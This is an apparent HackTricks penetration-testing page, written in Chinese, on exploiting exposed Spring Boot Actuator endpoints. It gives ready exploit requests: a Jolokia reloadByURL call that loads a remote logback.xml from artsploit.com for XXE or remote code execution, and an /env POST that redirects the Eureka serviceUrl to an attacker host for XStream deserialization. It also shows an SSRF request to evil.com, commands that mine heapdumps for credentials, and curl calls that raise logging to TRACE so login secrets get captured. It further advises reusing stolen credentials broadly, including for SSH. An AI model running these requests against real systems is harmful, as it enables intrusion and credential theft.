Spring Actuators

Reading time: 8 minutes

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

Spring Auth Bypass

From https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png

Exploiting Spring Boot Actuators

查看原始文章: [https://www.veracode.com/blog/research/exploiting-spring-boot-actuators]

要点:

  • Spring Boot Actuators 注册诸如 /health/trace/beans/env 等端点。在 1 到 1.4 版本中,这些端点可在未认证的情况下访问。从 1.5 起,默认只有 /health/info 被视为非敏感端点,但开发者经常会关闭此安全设置。
  • 某些 Actuator 端点可能会暴露敏感数据或允许危险操作:
  • /dump, /trace, /logfile, /shutdown, /mappings, /env, /actuator/env, /restart, 和 /heapdump
  • 在 Spring Boot 1.x 中,actuators 注册在根 URL 下;而在 2.x 中,它们位于 /actuator/ 基础路径下。

利用技术:

  1. Remote Code Execution via '/jolokia':
  • /jolokia actuator 端点暴露了 Jolokia Library,允许通过 HTTP 访问 MBeans。
  • reloadByURL action 可以被利用从外部 URL 重新加载日志配置,这可能导致 blind XXE 或通过精心构造的 XML 配置触发 Remote Code Execution。
  • 示例利用 URL: http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml.
  1. Config Modification via '/env':
  • 如果存在 Spring Cloud Libraries,/env 端点允许修改环境属性。
  • 可以操纵属性以利用漏洞,例如在 Eureka serviceURL 中的 XStream 反序列化漏洞。
  • 示例 exploit POST 请求:
POST /env HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 65

eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream
  1. Other Useful Settings:
  • spring.datasource.tomcat.validationQueryspring.datasource.tomcat.urlspring.datasource.tomcat.max-active 这样的属性可以被操纵以进行各种利用,例如 SQL 注入或修改数据库连接字符串。

附加信息:

  • 默认 actuators 的完整列表可以在 here 找到。
  • Spring Boot 2.x 中的 /env 端点使用 JSON 格式来修改属性,但整体概念相同。

相关主题:

  1. Env + H2 RCE:
  • 关于利用 /env 端点与 H2 数据库结合的详细信息,请参见 here
  1. SSRF on Spring Boot Through Incorrect Pathname Interpretation:
  • Spring 框架对 HTTP 路径名中 matrix 参数(;)的处理可以被利用来触发 SSRF。
  • 示例利用请求:
http
GET ;@evil.com/url HTTP/1.1
Host: target.com
Connection: close

HeapDump secrets mining (credentials, tokens, internal URLs)

如果暴露了 /actuator/heapdump,通常可以检索到完整的 JVM heap 快照,里面经常包含活跃的 secrets(数据库凭证、API keys、Basic-Auth、内部服务 URL、Spring 属性映射等)。

  • 下载并快速初步分析:
bash
wget http://target/actuator/heapdump -O heapdump
# Quick wins: look for HTTP auth and JDBC
strings -a heapdump | grep -nE 'Authorization: Basic|jdbc:|password=|spring\.datasource|eureka\.client'
# Decode any Basic credentials you find
printf %s 'RXhhbXBsZUJhc2U2NEhlcmU=' | base64 -d
  • 使用 VisualVM 和 OQL 进行更深入的分析:
  • 在 VisualVM 中打开 heapdump,检查 java.lang.String 实例或运行 OQL 搜索 secrets:
select s.toString()
from java.lang.String s
where /Authorization: Basic|jdbc:|password=|spring\.datasource|eureka\.client|OriginTrackedMapPropertySource/i.test(s.toString())
  • 使用 JDumpSpider 自动提取:
bash
java -jar JDumpSpider-*.jar heapdump

典型的高价值发现:

  • Spring DataSourceProperties / HikariDataSource 对象暴露的 urlusernamepassword
  • OriginTrackedMapPropertySource 条目泄露 management.endpoints.web.exposure.include、服务端口,以及嵌入在 URL 中的 Basic-Auth(例如 Eureka defaultZone)。
  • 以明文形式存在的 HTTP 请求/响应片段,包括内存中捕获的 Authorization: Basic ...

提示:

  • 使用以 Spring 为中心的字典快速发现 actuator 端点(例如 SecLists 的 spring-boot.txt),并始终检查 /actuator/logfile/actuator/httpexchanges/actuator/env/actuator/configprops 是否也被暴露。
  • 来自 heapdump 的凭证常常可用于相邻服务,有时也可用于系统用户(SSH),因此广泛尝试这些凭证。

Abusing Actuator loggers/logging to capture credentials

如果 management.endpoints.web.exposure.include 允许并且暴露了 /actuator/loggers,你可以动态将处理认证和请求处理的包的日志级别提高到 DEBUG/TRACE。结合可读的日志(通过 /actuator/logfile 或已知的日志路径),这可能会 leak 在登录流程中提交的凭证(例如 Basic-Auth 头或表单参数)。

  • 枚举并提高敏感 logger:
bash
# List available loggers
curl -s http://target/actuator/loggers | jq .

# Enable very verbose logs for security/web stacks (adjust as needed)
curl -s -X POST http://target/actuator/loggers/org.springframework.security \
-H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}'
curl -s -X POST http://target/actuator/loggers/org.springframework.web \
-H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}'
curl -s -X POST http://target/actuator/loggers/org.springframework.cloud.gateway \
-H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}'
  • 找到日志写入位置并收集:
bash
# If exposed, read from Actuator directly
curl -s http://target/actuator/logfile | strings | grep -nE 'Authorization:|username=|password='

# Otherwise, query env/config to locate file path
curl -s http://target/actuator/env | jq '.propertySources[].properties | to_entries[] | select(.key|test("^logging\\.(file|path)"))'
  • 触发登录/认证流量并在日志中解析凭证。在由 gateway 作为前端的微服务架构中,为 gateway/security 包启用 TRACE 通常会使头和表单体可见。一些环境甚至会定期生成合成登录流量,一旦日志详细级别提高,采集会变得非常容易。

注意:

  • 完成后重置日志级别:POST /actuator/loggers/<logger>,body 为 { "configuredLevel": null }
  • 如果暴露了 /actuator/httpexchanges,它也可能展示最近的请求元数据,其中可能包含敏感头信息。

References

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks